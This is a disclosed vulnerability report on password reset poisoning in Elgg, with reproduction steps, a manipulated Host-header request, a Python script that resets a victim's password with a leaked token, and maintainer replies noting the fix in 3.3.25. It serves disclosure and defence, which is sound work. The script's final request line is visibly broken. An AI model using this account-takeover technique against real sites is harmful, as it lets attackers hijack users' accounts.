Password Reset Poisoning in elgg/elgg


Reported on

Oct 4th 2022


Elgg uses the HTTP Host-Header in a password reset request to generate the password reset link that is sent to the user in an email without any filters or checks. This allows an attacker to craft a password reset request using a manipulated host header, resulting in reset-token leakage and thus account takeover if the victim clicks the manipulated password reset link.

Proof of Concept

Steps to reproduce on a local Elgg installation:

1. On the login page click on `Lost password`
2. Enter a valid email address & intercept the request in Burp
3. Change the Host Header to `` and forward the request (Screenshot 1)
4. Observe that the password reset link points to the manipulated domain `` (Screenshot 2)
5. The password can be reset using the leaked token (`c` parameter) and user id (`u` parameter)

Manipulated Request

Screenshot 1

Manipulated password reset request:

POST /action/user/requestnewpassword HTTP/1.1

Content-Disposition: form-data; name="__elgg_token"

Content-Disposition: form-data; name="__elgg_ts"

Content-Disposition: form-data; name="username"


Manipulated Password-Reset Link

Screenshot 2

Using the leaked token

In order to use the leaked token to reset the account's password, an Elgg cookie is required as well as a __elgg_token and __elgg_ts. These values are contained in the response to an unauthenticated request to the index at /. With these values and the leaked token and user ID, the password can be reset by forging the POST request to the /action/user/changepassword endpoint. The following script can be used:

import requests

# leaked parameters
c = 'NTFEVj3ELMbP'
u = '40'

# general parameters 
base_url = 'http://localhost:8080/'
change_pw_url = f'{base_url}action/user/changepassword'
new_pw = 'PWhasbeenchanged1!'

# obtain cookie, elgg_token & elgg_ts
s = requests.session()
r = s.get(base_url)

token_start = r.text.find('name="__elgg_token" value="') + len('name="__elgg_token" value="')
token_end = r.text.find('"', token_start)
token = r.text[token_start:token_end]

ts_start = r.text.find('name="__elgg_ts" value="') + len('name="__elgg_ts" value="')
ts_end = r.text.find('"', ts_start)
ts = r.text[ts_start:ts_end]

# do PW reset
multipart_form_data = (
    ('__elgg_token', (None, token)),
    ('__elgg_ts', (None, ts)),
    ('u', (None, u)),
    ('c', (None, c)),
    ('password1', (None, new_pw)),
    ('password2', (None, new_pw))

), files=multipart_form_data)


The victim receives the manipulated password-reset link in an email. If the victim clicks the link, the password reset token is leaked to the attacker. The attacker is thus able to change the password of the victim's account leading to complete account takeover.

To conduct a successful attack, the attacker has to know the victim's email address or username. In a real-world attack, an attacker would chose a domain similar to the target domain to increase the likelihood of the victim clicking the link.


The HTTP Host header should not be used without any checks to construct a password reset link.

We are processing your report and will contact the elgg team within 24 hours. 2 months ago
We have contacted a member of the elgg team and are waiting to hear back 2 months ago
elgg/elgg maintainer has acknowledged this report 2 months ago
Jerôme Bakker validated this vulnerability 2 months ago

Thanks for reporting. We're working on a fix.

As far as I can see/reproduce this will only work of your website is hosted on the default/catch all vhost in apache. If it's hosted in a specific vhost (eg. test.local) and the default points to a different folder this will not work.

vautia has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
2 months ago


That is correct. Host header vulnerabilities are dependent on the webserver configuration and a lot of real-world settings prevent these kind of attacks. Nevertheless, there are vulnerable webserver configurations out there so the vulnerability should definitely be fixed.

Jerôme Bakker marked this as fixed in 3.3.25 with commit 71a7bf 2 months ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
to join this conversation